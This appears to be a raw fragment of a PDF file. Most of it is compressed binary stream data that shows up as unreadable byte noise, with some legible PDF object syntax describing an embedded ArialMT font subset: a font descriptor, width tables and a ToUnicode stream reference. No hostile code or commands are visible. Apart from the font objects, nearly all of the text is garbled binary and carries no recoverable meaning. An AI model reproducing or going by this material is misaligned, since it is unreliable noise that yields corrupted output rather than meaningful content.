��W���;�z��7�r߲?��$Oھg߇����?���|���x^	�D63���:��Ů��N�AnY�s%W�ӓ��S�؞��;�R*C$�dʥ{SD���S��E�u���}��ۭ�U�C�v��1C��7'���}�Ni�jG�/�r�@DIU�mv���� ����G��[�����nI�%�����	���p�R�A
GU��#�@]���%/���t��y����NB��qQO��=�90=]��5?S�j��3
���R�ƭ�k��M�l���Ck8���Rέa�Pڼ�����zz�Lz���'%��_cU.�:�fם�F[�|�T	�Q	�F(LÜ��B�p�s�v��0xTГ������:9��eNϸD�� ���`�VhɐJ_��#��K��L~	��w�@��x�4�Ӌ&�CF����?w�ܫ꼎ض��u���S�
!�ؓB��:� 1�6�[�G�[��'�ZfӦ��a��9<'~��S|�S���}���K>o�S��ɦ�{�8F�|�.�j߅7;�����C�[ �(��Q	�h��۝�;���Ӄ�~r�H�i��ϕ�>6�y�<�܄�䡘�KOK�p0�-��a�M�͵�^ ��(P�Xr���gNj���.�R��-�,c�%�JLó9p:AG����e�>�=�.^�KFdFèDƣ�*��A\a��}a�VJ��Q��Yp)�Fc"pqb{�
p�l�0�JpA_B9����qSo�G��4�kK�t=�q�rI�v��萞�N[K,`L���y��{���q�\6�nٔi��;/���o����b���[�/��o^y��k��W:�����;�w��g�ķ?�k���h��v��<��i!�柼�˜�p��W&"�慚)�t��"S�nkld�*�f�`�D�����ͧq���c�r���9��`R�+dr�3�z1��\Tm�!$�mBr&6��2dG�+.O
s'8�G����H9�����d�ə���F��Q�O��#>��]Ō�٥g`]V���Q����:w�<x�*���z�HI_�$#װy����8zĝ���)x���P�\�r(���"�ѩ��\�p����sx`�1j�s`����M$��FY��9�=7���&M���rRۤ�'�hRxҘIՓ���5�ĤO&��R'gݐzK�]�d��KJ,�����lzhTItD�wĈ|Z��Y�:5�ө�SSs}^���ճ�r�#���'�/�e�9�G�6O�Gt����.����t]bc�)�H���
SS}jn��%BQ$K�B��	E��T/G�ԧ��Sj����l(�;1��(B������҆��<��vڑ!j�9hgv�0�h�h.�E��i��;�x6W�ݓ}&�k�>Io�%e�?��OmN�]>PN�7�y����6���rc�A�q�5�<FB�t&�/�n�$���7ә�`̟�qvQ�'#��4�(U
���DQ�1ϐ,�f�~��o/�C���؝Zl�&��Tp7��q�q���f<]�Y����S+��n�2v��-�6sK뫯�h�ҋ�˗N�ѫ��m���R��Ki�O�0�j�q���F�~�x��q��EM>�]�X�Á�N���;����o���N���~��Cׂ[��J�c,������׺��*��	�!��I�o�N�$S:���Obv�ib2�=�����Ҏ��V*vMM��_��п2e���w��1�t��HSדfn���NP���>�=�~���sf�p���uq.�O���A�R+�Z�fz,��\.�c��6[:�+�buպr�����ކ%C�'��[4��8�2�iY�5<��vu�bjh�98g2�f:sk�
��Ĭ����4��j}9oJ�z����b�Rb�$�6]b���.�$�I��/��ʉu�,��ۭ�x�"���Q��f\��.�̞�Hz�.���\�Y6c����N��dN�ql��9!i(\�'���g��7?����i�.����nX;��?�&�곘\��#�
-/���K׳��2��r�L�*ed�#}��ȑe�	��ऑ�F�;�G�w4�\9��q�SH��+�&��پx
}/��i����Y�s�{�T��Nab��3�
l6r<��)���‘����Y���Z�.�Fn�n�﴿f���Y�]:Ήy�(g��8�X1�u*rV8w9r:����;?qr��`;32:P�d�{�uv��V�K��i7:�:�,/J�u�Z�3����%P1gm�PU�,��
�$�h��W�C�mD�ր*��%�h��$�6�1[�aܢܬ���v
 ��a���^�e��7�:��*�co��O.�9�ct_��7&�<��Y� �J3��iom��2�����ʎ����p���b�
�(��s�E�YlSd����(�E�M���
��^��M�7�]+:)�E&�D�?�~��H��%����؉���E�/�i��cm�,��H��T�h�Ԑ��>�lؐ֎$�U���hs��Q��9��Eׄ�U����-����CRbR[��6w��ӼǏ�`L��z�olB�'����T$�%'1�q��?�Œ���7���T�t�����7��t����_�Wm]^��yݣy�X<����u:�sr�M�.���|˜X��ї��|�E�{!�`^�̕�V_���A��}�j��z%��^L����_�^-ɇ�����b��G����x�@e Zkzڼ��􀱐L+gb�A�6�wB�ҏ; J�K����+]�]�u��J���,���q�5ӦV�l1��F���dK�]�]���
�G'a}�=�Q�+Θ�Ѧ���I�I���:�R�r���zy��Y���<���}/�^�[����2O�zj��jQ�x~�6���-�h�KF\���\j���SCNr�
s�%
9i	7n�6-縊55��T�T^g�\=f��ާg>H�JL�Y��)�jM�T
��9ŝ8���x,>�8��
�H��N���ճ&��<m�d޹/N�1��=�d^xFi��KL�EϞ��<��s�
��CN�3�m�sڰȉ!`��w��<!,����}0l�|��Kr��|lҝ�n:�~ˉ+�����˟y��cO�Y�A�%��:x�w��2w���cǎ��7^�%��s$��"�𤻰W�z��`��5�k�ۂ�S���W���=#�N���җ
K�%�b���e����%�[��--��<�6�7lA�/�4|ւ����<�/�~8l9���[��#��g-�����]8�e-jrYT�J,jr�Q?q����)����$&i�B�5NC��k���%���B����=T�(�k�)\[��qI�u�U�ӵ1luS�1#6�@���&<�
<�����ߌz�'8㗿����/��x#��K��s"���e?��3�&��{���?2}�<�I��d�h�_�Q�� �.e<�Y����R�/�H���S,�	�8-�L�#���s��t�e��0> ��}h����̓G��~lsm�5v;�(�/y��v����5v6���)�!|$�a�2G���A���x�
����kP/�|;���aK8���Zb�B��:�x�M���CE���(�|�l9\�˃]�ie"]�S�V��u�|��~��xDzå�b�e�\��s�k��$�u�v�\�Y��Iu���o�{�{mH��'�ם?���~������U��C�ّ��
8�S�?�9)�q U��べ�f�>�Kzֈ"'��_���s�\
��r94F
q�8�F��K�^E�*D�E�!�#�Wؑk�v;�*
���ݎ�j��r\c�V]
�rML��1�F���O�Ɯ:w
ɦ���r_u�<A��k�H�G��i��r�m�N4����:�2�k�̜��n[�Sn:6����2ŷ-�̞�/� ��ެ2�m�����2%*�h�X9�v��v���:�v�S�豠~�x����]���}����Pa��_��������?�1fJ��q�����x=�[�CP
���R]e�ؐ
��
k�JR����t��'��f�K=�d�E��$�[�x(RT-i����&`�&�T�:��U
+F2b�b���"�>0vl�S���JI���R�����딕�M�n�5�U�vF��B�%5�:[��w��w*��w�NΦ�v�S%��,�%���ń�.ٽ�p�󱓈u��LA�3q��$�?�L�!ls���u�$qj�7�<��p1[���t���c;}�\қ�V���w~Ɏpݜ���G׫�*O=��}N�S��]Q���	��<zt�`܁���I�}����C�g��c�"~��~�{d�����f�yʖo��
��a�ťdqy��đ��"K�{f�G~��z���P	�ǂ_�O#��=��v0��ٕH��]�+����Ev֑l�"��0��"�n���
(dg�	.;� Ld��D�B���?���&�~�&LC��*k	��r����q�8rD;~�5N�vt�@�9qa��&�r�ʳ�������]KL�z@�C��͵�Z��~��l�U�8�vaP�e�d5��r�aRJ�Fjcs_���g;l$�{ףg�βe���Fc꓆>d�6�E�%{IP��o��Pi�e���F�B�R�R~��r�N�l#�\��&s�iRL���T�%�q�H��OrOH�����1�
���#���8,"�

����h?��ty��y�����.���j	Sb�ū�1��6l;�vb�%�ps1U�U�qj��jӰ�Oj��Jc�<��=��ؖZA`�.�f|O�I����.O���t�F�0s�t��-����#��s���$O�9?��T�K����g�9��)f�K˜ť�7
b͓ʢu�tq�P�3j����(8e�L\&C�_c1O�������|�Դ�x�k��/}��;f�<�]8?������uv�y6)r����5v"��`D�O��F�D:��9}�Цtؾ!|�&�*\ dfj���I������@���x2G�1��Ù�n$�)��$�?�XE���D��ޏ�2�[?#��"; ^d&�e���a���j�������?v��Ζ�Ӽ��P�/�uMl�_�@��}3ѯX�?�=�3�q1~���7��0g
[։��-��*��l_�ǃQ�W/���Er�;�${�$�����yz�j)��v�C�|�c����t���7�E�M�=g����7^�7u٤Ew�N8Tw����еv�ʱ�w�y�ZG|��d��a���c��a��=0ݠ/��)�q<�����U�
��dY��u�<l���q�je]�D�?��lZ���f�s��1#	�H��tPb���f������6ݴ<@ۃJ�{�dsN�n�Ts[����� �J�֣ú۲˙�o�k�zs���ϋ9�a�e����\�����Dο�Ҁ(�Yv~:�;0�.@����5�p��C�tF=������
�>:���Z�Ǘ�#���vn�tq|>����ϟ�BCf���b��#�a�M���Fy��c�&�nt9��u�IH�gP�_���~�*��F��w��|n��U�t�Ѕn�7���Q7|H,C�!D�qe	>�B���(kOg��vp@�1Z�>">���B���!���2��CH7���ݬ��N@X�>��<�Kt|�<Bx��e@x���o��"O�/Jh��������ޏ�mem�z�:��z�:����it7B�p�z%�6��4Нr�g�@W�6��!�>E�ُ�v9�'r�E�E�@�>��R�"!z�)
.B(�,�e��|��R���&AY��@�(7Z#D� ����F(�*�"���C�0��hH;�7�@>�!����A���\��(�PF�)P��~�w��f�� �l({n!B�N"t	�B�f1�q	|Wz�
(���������l�2Z7�������օЕP����װ��h1ه���i(F����>B]e�&��q�:��Y/p�T��1����0���b�!�VP�t����5a	5���p�	+���d�'���;�?I��	$y�5ae{~g�<R8�=E6aI)^��ؔ�	�(�2ׄT��h���<9c��Mӟa0Ő�~��"��1�&��b���?0X��f��݄�nfMp�1„�Mp��̈́��LXB�2�c€ÌAf�����<�`�ֳ��m�n��b����`'���`��mfp
��Q.{i�QY��|F�bp*����i��Y�4K��Ҭep���a�e�H���Q~��2��(��Q�>
ۍ�1��e�1��Q1�ƢR��u�	��P+��mGm,f*<�L�
��R��7� sZ�������=5��	Ro�k#K	z�	O� �	m��j��&(�*g.�����o+�ٌV��6xמ(GO�~*(/�T�
Y �6H�C�
P�c5�`��
O� ���u�H��⡙���k볆�BGS�y���
��h��j�Tg�l���Y{���{|��b�@�F�9��u��if�mb��̾ob)��F(�b��]u�FVZ��w@�_[���A�wB-����B%KI[D�r-ԫ���1))����:*��ͬ��D[G$}Q�Zڑ�M)�L{p(�<hyr	F~(56����60L��Q��_N7D��X�m�r`���m6�|�S+�W3k�|�f�P�u0ڭa%��7ͬ��:DcQ��eS��uicT`��V�NF�u�u�����Lн��Ƶ2��I������ҵ��Q�c+����v��K����nc-��:�;��*V�޿H���'�)fM�
���!�2v��s#|��M>���(�0Q�[`��6���L�|ζ�-mf2��IK
~��@��x��s7��?�m���賝���,
��X��^��h���hK'+��v&]�3�i,mb��k[j�^�0�2$c�y5Ze�TF�������M+�����F�m��3C�[�lb���͌�;;��%E�0nna���<��Y�40�Ѥ�/K�/rB�h;'�"�mb������&֫
G1�RX��<W|aar�H`̪��8�o��z�y̵��3Լ�~�����-�x:D�j������{�s5	��H���6���,k-��Mf��6���!{�dh`�7�٢c���L	n�@�c�ݔ��4��|Q��o��X�[�1ǒ�,f���1Pg�Z�I3V��odži<z�I���(�2L�|���"?&}��wVꯖn�_�n�5Ś!O��m�kH⚡����B&�[Y)k�MIB��C���k�z�K�9RmI�e�,1������%-�:X|=���}�&��F+�G��4=��m����h�T[�db�)���J���zH�:i���ؐ���ֈ7i�o�[��j����Qf?�H6��d�2��&+��Ze����܆���D�;�nb�\d���#�����m&�bo��txZ��3�޺����4��1��b��>���6̈́t��g���Ṏɸ�Hg��i��y�o��RVF䶐�\���s�^e��_L����L�L
�͇�kj�9&5]�z���k5��h�l<-��g�o+!�Y,?ZZ�t�O�s�Y�J�#�3�s*�h.{����^���+Y����gm�T�ВG�m5�Q�Ԛoh�ͅߡVU2�d���T��@�i�3��"6BT×�XK2�U�8���˞�Ze��T��U��iσ0#���j�eARn�q���Je��ҼNe��fOFoLeO�X_ѷ�f_.`�b�K%V�T���2�Q�Q{�:�2��jb�G�6�.U�G�\���͞�2^(�+Nh�&J���G?��[�/Zפ�k��ڹ��I���������ܺi�^�Ң/h^���C_���Ծ��q��p�lZ�޴M�nkڴ�~3�a{�N��um�j}uk�v��N�S���[i�����m�>�a���� vv�M��-���E�;��|ִ��S�W�4�nh��!M+�w�ni_��5��ڛ�-���NڎY��ͫ�6u4M�;������#Vol�X���F��hl�lhn�]���в�i햖�v�X�n���W���RG��M�4���cư�y����
zg{Cc�Ɔ�
z뚯��׽H�1Oko�ּi�^�f
4C�/h]ռI�߼z]kKCG�^���޼��A_��ѡ�-�X���ޱ����а�uS�h��u���a���IQO���V}u{SCgS������Q�7lj��ڛ��jH������}csg'd�j;C���Nx}�nkh	���:'Q�����-�;uJT�m!��*�m�,�f۠��M�[�4R
�jߺ�e�^�<����ÿ��A��Mo�C��yMf(h�R:�6��io�R[�mjimh��U@�МV(
�[:ۀ��h3i�uM-m�1
|�i���vd�Y׼��<��$����������B}UCԵuS��N(X���6���i��m��ۚ�F���-�OE�r��!#�{YtЊ�l�����n��KS�EѼ��DQӴ��ؔ�{8�STc{���vNc#h7��	�Z���i,�״��^�о�Lq�����U���(R�ر���o�PCGG+p�����[6B�4ҡ�0S@s�Z}�)w��j��DY�臯L�ok�\G��ȭ�$7Z{�uK3ЩQ6ͫݐ�Pc"��B}ckc�zobi�
�X��^��2o�4�ZX
�hQ9о6��U5�4���4�Ķu��E)li��ib4��|fuYߴ��"�!:�olf�7� �U�[�����eX}(��
Q���c]�jU�0�mHjh;-����Je`^��(�ͬ�VO_��rA�>k�^���vִ�iz~�Bx�/ԗ�Z4�z�"R,����N���Wί��̚?�P�ZZ��j�B�z�>k^��YU7k�Թ��͚?C��ͯ�Qjp"d��Z��YͪZH3�W�`�Lx��2k�Eu���Y���<�C��zM�E��.�[�@�Y���za?
��?k��PJռ���FC��W�ƒ�pf�ܹ����P��~S�k�̚1s�>�z�*��R5��2��(
5un�y����y�3��WՐ��̬ݒ�U,
ʫ����fUϧ͘Z=�x,�V.X��tɬ�U�z�Y)B�/���):�j�	|7��ȅ�Z�#��>/^X5T�iU�s!�����ģAje�T3�V���f�z0k>d&��n�i52å������{�A����S^*����ϴ��i��Lz�g��?�^���?o���3�ω/���3���ɯ�L~�g���?`�'�,�g�?�`���?ll��hn`��W��ݰtt$O�1�����´��g>����g���lX	� ߯�e>\�2[����p~�CLFS뿝Y��N_��W�{�q��d���HT���bF��+؛��NB ܈�hF� ��e�N���^���U9�����U�k+��!��G+�L���z-�.�Cx�q"Bp�ou��p���2�P��*�4��.�wq~�	�A����Q5�vAx���јV�Bx��&�{�,���{oa���[��c�񸼞=�]Rg��]bܧ�2�M2��gD��b����'����UG��T.I�׷���ȅ1
��9�@8ь�q��9y����s�����#�u��+U2H>A&���rz��]�P�l�{�<�!p��;�;t-9Iq�
Ax›>� ���{~K~�\�=T��
Ax�'$�\5����])\���U#��f��.�.@�w�jo���d@��¹&���'�������@Qy��@Q��lt1*�{s��z˛��{�h���1�m��@Mކ��F:�+!�Az�wP����������Ac � �@���^(���ٛ7%\�J~F~����c�'�S�*��A^a���	��ɫ��aTi��������G{s<�J7yp�k�
�V@�A$/���ư29�^���E���У2������7�"���P���s<�K��wD/y7�
��]q@�ײ z�k\��-[��U/.��9����
X�t�m��m��m��m�'��/���u{�w��0=�6:bd���zw-�]��&�u
�w���pWw�pW&���x"����=����u���]y�+w��.��IV�v�b������~�� }\$0�4O�Ѽ�7!��$ҳ��i��wd��<zRq+�������
/�x蠗��^�L^�\p�����@� B�l��.vu��B����	�U���U|�U�V�Ȭx5�����E�bZH�j3�]!���ՙ�����"�<n�ݏ�����T*�v���n�ۼ��D7��7�p�҇��2y��s΅�D��ǣ�L��P�<���P-|���+�N���g�S�C��B�ÿ�y���<�?�v���kE�2ļ�׏�vHgI�&��{�%�^��������o�MƋ�:�)�
/�[�	�M�
�: ���e�r#�x����B�GBeG�X��L���_�����J�HK�ji�T,JYRXʐ��W�ȚL����,�2/�^��7J��yE�U��g�F��U	�	��zR�9d��)xNϑ�h�*����H?V/Y�#D���4gє���9�������ҥ{0��b{�M�-ZڏiԎ`�g*=1�w������ա@�֊@��bw��i_qYi^�N��3���3g����O?�1����������B}�҃�o�Lմ����V�� w1�[��]<��nN?�e鐎�
�t����0J�tH�3�t��r�{H�Co�NQP.K��(,�i�=9U���4~��X�����\H���Ҥv��Y��S�h���Y�P�d�X��B,I��$�CI��$7'���J��P����q�J�8	i���%�~��D�x���˫�"U+#UMV�ܲu]��k���Y]G_�=\��U���{CSO]�iZ���4}���_�z9}=92mZ^�h�屦i��c��"
��ΨW:���e�����jhf�hY3J��u)}=��UJ�*�e͈�`e!F�5K��hJ����}/��@�+�YuSR���
O�
\<�˓���G��8 �W�*GU�W�Z��]�5������+
�ݑ)(ڹ�c
T5O3�:��:�P��h������Xô�N���\8���eK�HĮ�M�d��lU��G���9�Fr\"!�+�q�b&�r�o1��ȍ.rx/�e�N�Q�d�YD@",Zm]�l�!P��X�Q
�Q�a�aV�:4%�h��йńL\t�w�K���BI�"+��X'˖�3�|i��������}�G����\Q̓�HiX�K�6uZX���\���c�
endstream
endobj
11 0 obj
29785
endobj
12 0 obj
<<
/Filter /FlateDecode
/Length 13 0 R
>>
stream
x���
0@L	�
endstream
endobj
13 0 obj
14
endobj
14 0 obj
<<
/Type /FontDescriptor
/Ascent 905
/Descent -211
/Flags 32
/FontBBox [-664 -324 2000 1039]
/FontName /HPDFAB+ArialMT
/ItalicAngle 0
/StemV 86
/CapHeight 715
/FontFile2 10 0 R
/CIDSet 12 0 R
>>
endobj
15 0 obj
<<
/Filter /FlateDecode
/Length 16 0 R
>>
stream
x�]�M��0@�:n���b'e�B��i�-�Y��6�sȿ��7�B	�iFo�����z��d?�!��lڮo�x�S������X1Mf���ոɖ���m��S��p�~.��<=���f��'�}��8u��<�����X�x���{�.l���4�]r}��o�5�,m}������ߊ_�1Il9O�x������!_>Gs��|���7��KǶ�
oՔ��ey�m{L$�\�\"o!	�ee��JV����*�Z)�R��@=YClE��Z�s����ϑ���gՏzV��������`�s�R�?_@�G?-~V	?�!�s~^	?�$''�?��~���g��G'?K'?�����z�Y��������i�,=���{��9[�s:��-��O���N�q2� �9��9��V\A��t%�q;H+��VW?^�K~�VW#�����o�᧷���;���x�
�{�
rz�J�m�q��?���>�?���E:�A����)�Ӵ�4���YgN�Ǐ�8�k���":�
endstream
endobj
16 0 obj
530
endobj
17 0 obj
<<
/Type /Font
/BaseFont /HPDFAB+ArialMT
/Subtype /CIDFontType2
/CIDSystemInfo <</Registry (Adobe) /Ordering (Identity) /Supplement 0>>
/CIDToGIDMap /Identity
/FontDescriptor 14 0 R
/W [ 0 [750 719 556 500 458 556 531 823 559 438 278 583 542 556 458 573
559 542 556 719 521 521 802 688 552 573 278 778 583 365 500 635
278 611 823 500 278 667 722 542 833 583 667 656 719 556 556 556
556 1073 556 556 556 722 556 556 556 355 656 667 667 667 556 722
722 500 556 556 333 556 722 889 677 669] ]
>>
endobj
18 0 obj
<<
/Type /Font
/BaseFont /HPDFAB+ArialMT
/Subtype /Type0
/DescendantFonts [17 0 R]
/Encoding /Identity-H
/ToUnicode 15 0 R
>>
endobj
19 0 obj
<<
/Filter /FlateDecode
/Length 20 0 R
/Length1 34888
/Length2 0
/Length3 0
>>
stream
x��	xTE�0\U�޾�o�$��6I:��F�HnV��	IH�I����#�9��6�3���+M"��hܗG�A�yg��(3/�F��Suo6E�y�y��yL�[�9U��9uꜺ�a��mB���H�g�-#$6��\sّ$�^��F�4s״mXk���yBӛ[��͟�z)��gf4د����Z.�<��
!𱶭��	G+*p@�xY���9��*�^jo������e[:���\��GZ8�/�#(��}(����B�FS�5t��ќ�F�U���+�N���ߠH�v����KX�4�nET�n�v��"�T�y����к����Kto�q|m�A�߉^@_�1�A�~	򣏹��НH�� ���pjDo��@����$�Y�+�Ձ����P*=:����]�	�!t:�5��P+�CS�v��zyQ�=4��?yХh3�vq/@�V�[�FR�	O�Leh)jG��v� z�q�pB8�2�!Ҡ0�4��������CsC� z	�K����}�E��ЯCϠp�8��'��B�p��5�{B�"#�38��Y�~��F/������h>����DZX�^���E�&Wso�4Xm=Pۋ�F��t޼�N�`���U�&�ob$��5n7��&�����(xԃ�G���ѫ�5,���_�;���$	�Oɗ���9�-?"x�'�߆��@N��+�F��}�=����B�F���b+��[�=8�O�O��L!���F�'�p������|!)�*��p��Cl��o>|=�x�u�3��E���k@+�GO�7`�w�_�ߨ���s�r|1�ҍ��[�#�y�:�'���)d)�Y;H��Zr3�f
~��w�_�'�N�p3���=\��s�V�˧��
~9�d
�ja���pZ��i�tj>���~d��_�(��Aw��IW'~���d�
p�@�It��=8	��ť�/���
����-���Wx7�?
+�5h��RM��\G��_���y��MN�a�<���|�t��[�]ĵ�z���뀳7qr�qoprq� �H>�����������^�)aHx]8'��M�&F���D�_�7Q#�+�m��k;q��Kh�q��#�CC,�V�9Tî�o��A.f���F152����h~m��$��?������n�.~�.�B<�!�F���(.D��<����!����rt�w���0����9x#z�Dp�:����X���i�k�ft1������>��7�?�4�n�>����o���֨��
���z���6�~t�iӼ����9����4�},�*K�a���
��PN(v�2��]�;��%ǠNk+`��d®�D�Q3�
��M�@���CB�w��
N���=�##��;�;x��y?���	6�!�O�ĉ8�ð�N�%<(<&<)���ܾ���h�VЄ^G�D_b-�ƅRP6�;h�Em��;��p�=�v�P]I7�r-p�.���`o�;�=�N`�#aEM0��)>�� ���~hi�=
}�6�Y��a��j
MF�C����x)��%Z��a���	F�`Y������)����;ԌbQ��wLPJpQhi���=pzE��Z���A��V
o`��?2*� ��n}�
�=2��ub1��o濕���s/ț3;wVΌ����i�)�iS����	�S<�;.6&:�匌w��mV��d4�uZQ#��(�$��A
x�7~��TZ�o���	

	�J'��&M��r�w eR��V)奦H%�R���xi/_\�_��I�aV^�ʻX�e��gK��
RI�t]���b�A__�ק���z
P
D�wđs1+�Ȓ�	Қ��@T|qI�_L)p�%�́�ŵ%��O]jJ5ů
��€��@P�&�)
�l�����m�a��V5����͍+j\c���y��W�r�Wap{Q행���g�D�۷o�C�k'�z賮�\�Xڰ����X^-�lds]mo�)%��*e}����p���Ʒl��D�=��6x�����IU"m��������c:��
�.YrM�IM9h�)�=h���ib�?��J��ʫ�8�)E�e��IJj�aM���?mo�`�S�+�i
��[g�v����/h@��[�M��D�TO�T
�G��/0mU�d
4�e��)���N��Uo�f��=*�2Z���ŵJ]B��������34����l�Co�M~QO><�����X#�JZfpďt��������k���
*o�k&Ք�Yc}j)VT�E�D�9�J�b�Vj�>�i�R78PJր�Ҁ�a���{<?�3 j' 
�NS,����Tf�&��L�O�θ�zy/)�Y�}�~R_)���K���
�B�V�K��dٷ���aT��#;��7�"Z�lPV�
�㭋�xk���A+�7[kj�&E
�u��v����JiE�T�A����GB@����՛0bm��6����fU&�d�4�x�G��M��mR��Uh-�Xi�6�N����ډ�X]*u���	���
#8�H��>�!��1ri5B�pO`/ҁ��DN��l�H�"뙼�#y(��s��yl��@�9�:'�[$�C(B�����7���[���G��C�im[lD3@-d�!���܀
���m�'ޓa8l 4t�a��Y_�0}���m����3P}�'����c��h�x�3�p�ۿ�����v�5X�{�˖\0?��xJ�#�����G|?h�a��K��DT|�Kzd=�z��3f뎀BBC�zc6��}�WP����i�g�F�>�|����	�>�0�0��c\�k+�a!�e@ՃHSy����4�Aϋ^
e�
i�&τ�^L'�q��&��g�v�@J,�ϳ��өmc�[���%�
~l~l�o<�~d��f�z��d��1:sO��t:�����0��y:�W#OħE,�k]��3�I��@�V�0�甞o���cs�B��7�\T<����u�l� ��`V���ġ7��y�Ł�#6>n=[���t&Χ3�>u2�T"iFf$����s�?
^S�zmQ�Λ�̍b$�ߜf�p�1>����*084h�GG�[�#Hq���v��@��ז/#xm�Ɠ�)�.��7�_0������w�?y>��=�tQoy1��i8L༹��d��;�dq��!���G<]h�׫�i5���@��A�����#�^�[�X���c��ߚ�`�*�3d�n�u���c1S�ZA���h$3���t��ڬ��i�Y[= ��t�a�e�S��ݒ��r�s5Ԫ�m�.)[��|�:�v�Z�1e8<p�̬L�=)罉�lo�
[�><�`g�#/?��y��GO.߷��?a�ܹ�9Eş�ߍ����Ž�M)��*�u�/�}�z?�y��u�V��0��/,��/(
�-/�^�ͱ-�n�+͋�7�7
_p�D]�1�4�15�W��]/h�0122,2r*��%
b�p�p��e�y���+ t��"|y�(�l�l��M���r�3�ךe�=�\�҂+,�"�;�-8Y�bO�s���K��
��c“`CXD��!r`Sn菾���3Z�v��"k����g@m�rԯ=�9-�Sˆ��뱠��%d�"�)x)mV�S>���~�sp+�gc����{Q����w/�Y� �����x'^���w_(��o����6�;"$��C�'��p���i�gy^�	�i�S<�vwxE8�?N���S�aZɑ��N��l���<9��CU��T�<irZeZCZgڦ�]i{ҴRZFIsL���F�Ȏ���*/虲�Z����r�~��/4���_n� 
m��
�I��h��`X���0(/��X0T�,p��K��p=���8�(F0�� t���T)���ͣV��}h���謹g݅�M8��G�-XV~a��b�_a����H�;V�yؗ����ckMZ¿|D�-�W�D'�/�����-Z��7C�I�f��r�V�>����n��q�K:�R[]D]�R�[KDK��6��jf�f��H��DWjڧ�yY��9�;�=͛�7M6�Sr'�����l�^��mI��5�^$Ğ��15�q�����2շ��_����4э�@�6ڬ"lVP����S�G�aT�rfڬ^/�|��ֿ�v�xfUF�fWd)�0�ǂ+�
�o�ex/����>.��,?O�5m����O�����8_^y�y8j0��E�q�q��(mQtQLQ�R�n�V���&JBɚ���|���U�Mp&���/����+����b�y0VkG��X)vz���bwž���\�p�g���k�	e@�ϱ�B�~���o���nc��)�{�݉��1�r[NX�W�(��0�偢��[{
�jh(����i,�-���ga�l���Zk���An�:K�V1��A�&�a��j�@���ŵ�P4Dk1�bC'g�m^K
��3Ӟ�QL��83A1���׈��\�uϧO�f��j[���\X��;_�[�<;/�oo����/[r���+c>z埏6��*8S�U��E��3�� '�<Uk��9�{���o̷��5��0��o�l�Mz��d���9�lr��&��A�|e�U�] ~��!+�|�^<<�F��D,�Mn}���)�{�SGD���p��1��6�ۚn%��|k���RP+�+�b1��I���H,Á�6`�l7��OGXFw� n�� �����S AV�I|L��Q��EH󙯲>�m��H�?Q�1v��IԻ�C��s.�N㺅�Wlh��pj�p䳔�W�|����Bo�]ٱsז-�zȷ���N�~�ЍϼK�q�C?��7"Q<:.�α���+�۴h����B��!����+��0[v�RC�i��*�!L��G����%�p,:���t�*ʯ���<�C9l����н�;��t��x	��q1��LN�&�
;�G%�h}�	�+a̒��%��3p��Um�[���q-xDfd#`e�`����9��V}Mɲ+l��ȷX��8.����I.��jњΚ��:��rϹ+���-�/���]�s1[o��7ob�{/j^�-�u��+��z����"/~\�0
4��Z�;&��	��
��<�����4z$�x�y�p �����8cfBN�
~x���d���w��^��]g�e����<&Ϲ�Ыݢ�ݵOا}��`ؠ���Xؐ�0S�0�Vl�"�����C<�^t&<k�£r�Shr{�A�2^�˺㺐*����)n>�'+��U����<a� 9Eng~Xr�ʱ�W��=܁����9�<��)����zW���W��5�7<�}��s��E- �N�:��r��ςg���i\���q��so���;7o�-���	6ǀ�D|�<�b�����Y���RÃ�'
��1�=�p"r�
$ݐo�0p�b��q���	���5jpm:D!�A6�
sQ&0�*h̔��L��u�<�v_mB"=v{�2��g�����/�`���a��r���	�{X��^����Do6أ�Q�U�.�&�m��
���u'��MZN;�H��pe_��Z���z�C�7����ߙ���p�p|�XA#�Y�^G�M�d5贜�bL��� ��A�yn����RR����Vl�����Z�t
�JE�ڲ�Š!�q�Hn�-w���}Ȗ�
<y*|���́�:{��,AݰY�'�q�EK�m���������񞻱���{h8�������s��oZ������d�?V�R�3pk*�[�}օ�eq�qk��$�L�6��啰#����E,w/�_��|j�[L���fYf��O`��h�d�4c�����{�b��v�8`p��V�k�u�H��i�g�0��Ӭg ����z���N���z
�CD9PO��BGX5����6H ��ʜ���S��EG'\��R2�����)���>B�|_|㜑��Ժ����Zo����x΃�z{�G�~?8t/���s�nz�_<� b��`;�������3�D�y��L�{̄�;�+	%�i�y�%�eA8����Jl%����j�}3<�.83�p2�ׂ܈�M<r�k�)Fq!옅0J����Et�C�^z��p��c����b�W��e7&1���RR&�I��9�<�,&+E"r�`NNЊ��Z�C�V�q�W�j.���VK�:�*H��
b���5�:a4NSe�AL >1���B��lud tB��"��dx@�ǝ�٢�ze�B]�k�p���{n�f���a�������o�%�F�Ի§�8�<E�E�FX����Żb\�.���pDBrE9�1��#���5H�ӯ�o���e�#
i�$����ƩA;��0*�8l�;GN�G\��:R���:+����z���i(?��2��Ƕ6�m�L�?feFFN�m# ��p`��u��t�ԙ��"U��;a���+ͯ����?7��
.Җ��uJ�p$<ⲛ�$>�7��Y�3�s]H�2]�`4��w�.��T��9f�}Vl��8���!�{���Gv�h�̱Hr�7���OKX�̑�i��+̬�<<�9���)�N��r�B9dƧ�}0
���)�c�#�mqj�`70F����E���n�x�h�6���k���i�ч~�{َC����ûx�u�ED�R�����yE�#����Q��[�T��=r�}r�F�h#�m��_x@7 �^��_^�]��B*�HvB��lP'U��
�p��z��Z��;�Eb;'@��\$����)�x4߿%t����z嚐���}�-��oX�j�m�ʌD���n�}����7��Ea���w�ҽ�0/�7�޹�O��0����]��/
.&-�ȊJes�e�F:+�k��)`0<�E��۸[�3��In��)�e�93LC�|k�5��
�{�+DYy{d�?}Ǟ���
m[s������?�LN�\��o��w�V��� ��O��i
�8��@"w�Y��{ń	v�8f�N�SKwf����p�ۃ$�<�7`״��9K�`��W��S�Y���8��ݞ��/^Ȍe�3�$�א5���>��,�V��V��t
W����H�a����cx��dv���fd.+�2�p%�ųcVo{�}���=�����p���q_��y�L�[�w�><.<��Ay�V���h�[�E.u,������j���p����W.K��5����H���c��8�h�"$��/O1�3^[���C�G�㤃�t`�+6���aK��v�ٔ��HR|F�P<Oo"@�t��2���Z����|���I�	[���	O�'��n]f���כd�܉��J�VԯxU�vQMvVt~e�5_
��o�ܲ��	���.}���f�����;�N�ypw�_���^�6�\�xՍ���ԩD������޶r���\�`e:!&ՙS��ԣ�ap!��u�d�e�|���f61��A����~6„�h� ����Z���v����^7��5!=�G�ÙM�v?��ǧO
W:�r�l�ó�V�~�u��Z�W�t��K�t��sv?��u�J����tv7�
ؾ�v�t�-�����|�{��:������ö+��`%��w�
$u���0�
	�
G�'�d7��NC
